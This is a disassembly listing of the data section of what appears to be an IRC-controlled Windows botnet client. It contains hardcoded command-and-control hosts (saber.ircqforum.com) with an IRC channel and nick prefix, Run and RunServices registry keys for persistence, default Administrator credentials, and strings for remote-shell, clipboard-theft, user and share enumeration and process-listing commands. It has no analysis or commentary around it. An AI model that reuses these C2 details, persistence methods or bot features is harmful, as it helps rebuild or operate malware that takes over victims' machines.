dword_42E8D4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D719+33o
		dd 2BBBB02h
aSServiceS_	db '  %s service: ',27h,'%s',27h,'.',0
aAnUnknownErr_0	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40D835+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_40D835:loc_40D94Do
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_40D835:loc_40D946o
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_40D835:loc_40D93Fo
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_40D835:loc_40D938o
		align 10h
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_40D835:loc_40D931o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_40D835:loc_40D92Ao
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_40D835:loc_40D923o
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_40D835:loc_40D91Co
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_40D835:loc_40D915o
		db 'marked for deletion.',0
		align 10h
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_40D835:loc_40D90Eo
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_40D835:loc_40D8E3o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_40D835:loc_40D8DCo
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_40D835:loc_40D8D5o
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_40D835:loc_40D8CEo
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_40D835+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_40D835:loc_40D8A3o
		db 'dependent on it.',0
		align 10h
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_40D835:loc_40D899o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_40D835:loc_40D88Fo
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_40D835:loc_40D885o
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_40D835:loc_40D87Bo
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_40D835+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_40D9B3+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_40D9B3:loc_40DA7Fo
aStarting	db '   Starting',0      ; DATA XREF: sub_40D9B3:loc_40DA78o
aStoping	db '    Stoping',0      ; DATA XREF: sub_40D9B3:loc_40DA71o
aRunning	db '    Running',0      ; DATA XREF: sub_40D9B3:loc_40DA6Ao
aContinuing	db ' Continuing',0      ; DATA XREF: sub_40D9B3:loc_40DA63o
aPausing	db '    Pausing',0      ; DATA XREF: sub_40D9B3:loc_40DA5Co
aPaused_0	db '     Paused',0      ; DATA XREF: sub_40D9B3:loc_40DA55o
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_40D9B3+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_40D9B3+25o
		align 4
dword_42EE38	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DAF0+ACo
		dd 2BBBB02h
aSNoShareSpecif	db '  %s: No share specified.',0
		align 4
dword_42EE6C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DAF0+8Ao
		dd 2BBBB02h
aSShareS_	db '  %s share: ',27h,'%s',27h,'.',0
		align 4
dword_42EE98	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DAF0+58o
		dd 2BBBB02h
aSErrorWithShar	db '  %s: Error with share: ',27h,'%s',27h,'. %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40DCE6+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_40DCE6+BCo
		align 10h
aYes		db 'Yes',0              ; DATA XREF: sub_40DCE6+B5o
dword_42EEF4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DCE6+76o
		dd 2BBBB02h
aShareListError	db '  Share list error: %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_40DCE6+26o
		align 4
dword_42EF64	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DE07+B7o
		dd 2BBBB02h
aSNoUsernameSpe	db '  %s: No username specified.',0
		align 4
dword_42EF9C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DE07+95o
		dd 2BBBB02h
aSErrorWithUser	db '  %s: Error with username: ',27h,'%s',27h,'. %s',0
dword_42EFD8	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DE07+6Do
		dd 2BBBB02h
aSUsernameS_	db '  %s username: ',27h,'%s',27h,'.',0
		align 4
dword_42F008	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DF4E+3AFo
		dd 2BBBB02h
aUserInfoErrorL	db '  User info error: <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_40DF4E+385o
		align 10h
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_40DF4E+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40DF4E+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_40DF4E+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_40DF4E+2D9o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_40DF4E+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_40DF4E+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_40DF4E+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_40DF4E+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_40DF4E+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_40DF4E+1D7o
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_40DF4E+1ACo
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_40DF4E+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_40DF4E+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_40DF4E+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_40DF4E:loc_40E06Do
		align 4
aUser_0		db 'User',0             ; DATA XREF: sub_40DF4E:loc_40E066o
		align 10h
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_40DF4E:loc_40E05Fo
					; ___:0042F774o
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_40DF4E+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_40DF4E+AFo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_40DF4E+84o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_40DF4E+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_40E337+14Fo
		align 4
dword_42F1D4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E337+F7o
		dd 2BBBB02h
aAnAccessViolat	db '  An access violation has occured.',0
		align 10h
aS_4		db '  %S',0             ; DATA XREF: sub_40E337+BEo
		align 4
dword_42F218	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E337+7Ao
		dd 2BBBB02h
aUserListErrorS	db '  User list error: %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_40E337+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5D4o
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_40E4B7:loc_40E5CDo
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5C6o
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E5BFo
		align 4
aAnUnknownError	db 'An unknown error occurred.',0 ; DATA XREF: sub_40E4B7:loc_40E5B8o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_40E4B7:loc_40E59Bo
		db 'ord policy requirement.)',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E594o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E58Do
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_40E4B7+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_40E4B7:loc_40E562o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E55Bo
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_40E4B7:loc_40E554o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40E4B7:loc_40E54Ao
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_40E4B7+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E524o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_40E4B7:loc_40E51Ao
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_40E4B7:loc_40E510o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_40E4B7:loc_40E506o
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_40E4B7:loc_40E4FCo
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_40E4B7+3Bo
		align 10h
dword_42F530	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E5EB+ABo
		dd 2BBBB02h
aSServerSMessag	db '  %s <Server: %S> <Message: %S>',0
dword_42F568	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E5EB+81o
		dd 2BBBB02h
aMessageSentSuc	db '  Message sent successfully.',0
		align 10h
dword_42F5A0	dd 1B58h		; DATA XREF: ___:0040EA4Cr
					; ___:0040EAFFr
dword_42F5A4	dd 0C8Bh		; DATA XREF: ___:0040EB4Br
dword_42F5A8	dd 30EAh		; DATA XREF: sub_40EE72:loc_414C0Ar
dword_42F5AC	dd 18F4h		; DATA XREF: sub_407252+3Br
					; sub_40EE72+52E6r
dword_42F5B0	dd 1BB0h		; DATA XREF: sub_407252:loc_407501r
					; sub_40EE72:loc_41424Dr
dword_42F5B4	dd 0A84h		; DATA XREF: sub_40EE72:loc_4143C3r
dword_42F5B8	dd 1			; DATA XREF: sub_40EE72+665r
dword_42F5BC	dd 1			; DATA XREF: ___:0040E7E6r
dword_42F5C0	dd 1			; DATA XREF: sub_40AC42+Cr
					; ___:loc_40E9D8r
byte_42F5C4	db 2Eh			; DATA XREF: sub_40CFE3:loc_40CFEFr
					; sub_40EE72+B05r ...
		align 4
dword_42F5C8	dd 6			; DATA XREF: sub_415996+2Br
					; sub_415996+51r ...
dword_42F5CC	dd 4			; DATA XREF: sub_40EB92+78r
					; sub_40EE72+279r ...
a8652		db '8652',0
		align 4
aCool_0		db 'cool',0
		align 10h
aMan		db 'man',0
		align 8
aAsn139		db 'asn139',0
		align 10h
		db 2 dup(0)
byte_42F5F2	db 1			; DATA XREF: sub_40EE72:loc_413D44r
					; sub_40EE72+4EDCo
aAsn445		db 'asn445',0
		align 4
		dd 100h, 3 dup(0)
aBotid		db 'botid',0            ; DATA XREF: ___:0040E703o
					; sub_40EE72+3E40o ...
		align 4
aAbosal7Tool	db 'ABOSAL7 tool',0     ; DATA XREF: sub_40EE72:loc_414E22o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_40EE72+6129o
					; sub_40EE72+61F8o
		align 4
aSaber_ircqforu	db 'saber.ircqforum.com',0 ; DATA XREF: ___:0040EA37o
					; ___:0040EAF0o
aFaak		db '#faak#',0           ; DATA XREF: ___:0040EA58o
					; ___:0040EB06o
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:0040EA6Fo
					; ___:0040EB18o
		align 10h
byte_42F650	db 73h			; DATA XREF: ___:loc_40EB2Er
					; ___:0040EB3Co
aAber_ircqforum	db 'aber.ircqforum.com',0
aFaak_0		db '#faak#',0           ; DATA XREF: ___:0040EB52o
		align 4
aSaad__0	db 'saad.',0            ; DATA XREF: ___:0040EB64o
		align 4
byte_42F674	db 66h			; DATA XREF: sub_402B84+Fo
					; sub_4030E8+81o ...
		db 69h,	72h, 73h
		dd 69777374h, 78652E6Eh, 65h
dword_42F684	dd 65627663h, 6C642E69h, 6Ch ; DATA XREF: sub_4022C6+3Do
aSystam13	db 'Systam13',0         ; DATA XREF: sub_40C1AE+Eo
		align 4
aBot		db '[bot]-',0           ; DATA XREF: sub_415996+12o
		align 4
aFirstswin_exe	db 'firstswin.exe',0
		align 4
aXi		db '+xi',0              ; DATA XREF: sub_40EE72+6274o
aF		db '#f',0               ; DATA XREF: sub_40EE72:loc_4120EFo
					; sub_40EE72+50A2o ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_40EE72+1F2Fo
		align 10h
aF_1		db '#f',0               ; DATA XREF: sub_40EE72+1D75o
		align 4
off_42F6C4	dd offset a@admin_com	; DATA XREF: sub_40EE72:loc_414FEEo
					; "*@admin.com"
off_42F6C8	dd offset aH4ckerTool	; DATA XREF: sub_40EE72+8CFr
					; sub_40EE72+6198o
					; "h4cker tool"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_415F88+28o
					; sub_4162AC+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_415F88+D4o
					; sub_4162AC+D4o
		align 4
		dd offset aAdministrator ; "Administrator"
		dd offset aDb2		; "db2"
		align 10h
		dd offset byte_436EDC
		dd offset byte_436EDC
		dd offset aAdministrato_0 ; "ADMINISTRATOR"
		dd offset byte_436EDC
		dd 0
dword_42F794	dd 10h			; DATA XREF: sub_40BE75+72w
					; sub_40EE72+B6Er ...
aAdministrato_0	db 'ADMINISTRATOR',0    ; DATA XREF: ___:0042F788o
		align 4
aDb2		db 'db2',0              ; DATA XREF: ___:0042F778o
aH4ckerTool	db 'h4cker tool',0      ; DATA XREF: ___:off_42F6C8o
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_42F6C4o
dword_42F7C4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: ___:0040E9FBo
		dd 2BBBB02h, 6F422020h,	74732074h, 65747261h, 2E64h
dword_42F7EC	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:0040E929o
dword_42F7F8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EB92+F2o
		dd 2BBBB02h
aConnectedToS_	db '  Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_40ECFA+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 10h
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_40ECFA+35o
		align 4
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+627Co
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+6264o
		align 4
dword_42F86C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+6257o
		dd 2BBBB02h
aUserSLoggedIn_	db '  User: %s logged in.',0
		align 4
dword_42F89C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+623Ao
		dd 2BBBB02h
aAbosal7Accepte	db '  ABOSAL7 accepted.',0
dword_42F8C8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+61D9o
		dd 2BBBB02h
aFailedHostAuth	db '  *Failed host auth by: (%s!%s).',0
		align 4
dword_42F904	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+6172o
		dd 2BBBB02h
aFailedPassAuth	db '  *Failed pass auth by: (%s!%s).',0
		align 10h
aNoticeSYouVeBe	db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
					; DATA XREF: sub_40EE72+6160o
					; sub_40EE72+61C7o
		align 4
aNoticeSNiceTry	db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_40EE72+6149o
					; sub_40EE72+61B0o
		align 4
asc_42F98C:				; DATA XREF: sub_40EE72+6119o
		unicode	0, <~>,0
dword_42F990	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+60C9o
		dd 2BBBB02h
aRandomNickChan	db '  Random nick change: %s',0
		align 4
dword_42F9C4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+6015o
		dd 2BBBB02h
aInvalidLoginSl	db '  Invalid login slot number: %d.',0
		align 10h
dword_42FA00	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+600Ao
		dd 2BBBB02h
aNoUserLoggedIn	db '  No user logged in at slot: %d.',0
		align 4
dword_42FA3C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5FB5o
		dd 2BBBB02h, 73252020h,	0
unk_42FA5C	db    2			; DATA XREF: sub_40EE72+5F8Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStar_6	db ' Failed to start secure thread, error: <%d>.',0
		align 4
dword_42FAA8	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_40EE72+5F15o
		dd 2202967h, 2002BBBBh,	20732520h, 74737973h, 2E6D65h
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_40EE72+5F0Fo
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_40EE72+5F08o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_40EE72+5EADo
aSecure		db 'secure',0           ; DATA XREF: sub_40EE72+5E9Co
		align 4
unk_42FAF4	db    2			; DATA XREF: sub_40EE72+5E91o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_7	db 'Failed to start server thread, error: <%d>.',0
dword_42FB3C	dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Eh ; DATA XREF: sub_40EE72+5D6Fo
dword_42FB4C	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_40EE72+5D6Ao
dword_42FB58	dd 72027002h, 1F631F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+5D57o
dword_42FB64	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_40EE72+5D52o
dword_42FB74	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5D1Fo
		dd 2BBBB02h, 65522020h,	6E6E6F63h, 69746365h, 2E676Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B84o
		align 4
dword_42FBB4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5CFDo
		dd 2BBBB02h, 69442020h,	6E6F6373h, 7463656Eh, 2E676E69h
		dd 0
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B62o
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+5CC8o
		align 4
dword_42FC04	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5C76o
		dd 2BBBB02h
aStatusReady_Bo	db '  Status: Ready. Bot Uptime: %s.',0
		align 10h
dword_42FC40	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5C62o
		dd 2BBBB02h, 6F422020h,	44492074h, 7325203Ah, 2Eh
dword_42FC68	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+5C3Do
		dd 2029671Fh, 2BBBB02h
aFailedToStartL	db '  Failed to start list thread, error: <%d>.',0
dword_42FCB0	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+5BD2o
		dd 2029671Fh, 2BBBB02h,	694C2020h, 74207473h, 61657268h
		dd 2E7364h
dword_42FCDC	dd 627573h		; DATA XREF: sub_40EE72+5BACo
dword_42FCE0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5B5Do
		dd 2BBBB02h, 6C412020h,	20736169h, 7473696Ch, 2Eh
dword_42FD08	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5B42o
		dd 2BBBB02h
aFailedToStar_8	db '  Failed to start listing thread, error: <%d>.',0
		align 10h
dword_42FD50	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5AD3o
		dd 2BBBB02h, 694C2020h,	6E697473h, 6F6C2067h, 2E67h
dword_42FD78	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5A36o
		dd 2BBBB02h, 654E2020h,	726F7774h, 6E49206Bh, 2E6F66h
dword_42FDA0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5A04o
		dd 2BBBB02h, 79532020h,	6D657473h, 666E4920h, 2E6Fh
dword_42FDC8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+59AFo
		dd 2BBBB02h, 65522020h,	69766F6Dh, 4220676Eh, 2E746Fh
unk_42FDF0	db    2			; DATA XREF: sub_40EE72+599Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_9	db 'Failed to start listing thread, error: <%d>.',0
		align 10h
dword_42FE40	dd 7A026E02h, 201F6D1Fh, 6F727028h, 73736563h, 702E7365h
					; DATA XREF: sub_40EE72+592Do
		dd 671F6C1Fh, 0BB022029h, 202002BBh, 636F7250h,	73736563h
		dd 73696C20h, 2E74h
aFull		db 'full',0             ; DATA XREF: sub_40EE72+590Do
		align 4
unk_42FE78	db    2			; DATA XREF: sub_40EE72+58B6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAlreadyRunning	db 'Already running.',0
		align 4
unk_42FEAC	db    2			; DATA XREF: sub_40EE72+5893o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	64h, 6Bh
		db  65h	; e
		db 79h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSearchComplete	db ' Search completed.',0
		align 4
dword_42FEDC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+584Ao
		dd 2BBBB02h, 70552020h,	656D6974h, 7325203Ah, 2Eh
dword_42FF04	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4145F9o
		dd 2BBBB02h
aRemoteShellRea	db '  Remote shell ready.',0
		align 4
dword_42FF34	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5780o
		dd 2BBBB02h
aCouldnTOpenRem	db '  Couldn',27h,'t open remote shell.',0
		align 4
dword_42FF6C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5764o
		dd 2BBBB02h
aRemoteShellAlr	db '  Remote shell already running.',0
dword_42FFA4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5746o
		dd 2BBBB02h, 65472020h,	6C432074h, 6F627069h, 2E647261h
		dd 0
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: sub_40EE72+5718o
		align 4
unk_42FFE4	db    2			; DATA XREF: sub_40EE72:loc_41457Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushA	db '  Failed to flush ARP cache.',0
		align 10h
dword_430020	dd 7A026E02h, 201F6D1Fh, 756C6628h, 6E646873h, 1F702E73h
					; DATA XREF: sub_40EE72+56EDo
		dd 29671F6Ch, 0BBBB0220h, 41202002h, 63205052h,	65686361h
		dd 756C6620h, 64656873h
dword_430050	dd 2Eh			; DATA XREF: ___:00427B70o
dword_430054	dd 7A026E02h, 201F6D1Fh	; DATA XREF: sub_40EE72:loc_41454Fo
unk_43005C	db  28h	; (		; DATA XREF: ___:off_427A0Co
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToLoadDn	db '  Failed to load dnsapi.dll.',0
		align 10h
unk_430090	db    2			; DATA XREF: sub_40EE72:loc_414548o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushD	db '  Failed to flush DNS cache.',0
		align 4
unk_4300CC	db    2			; DATA XREF: sub_40EE72+56CFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
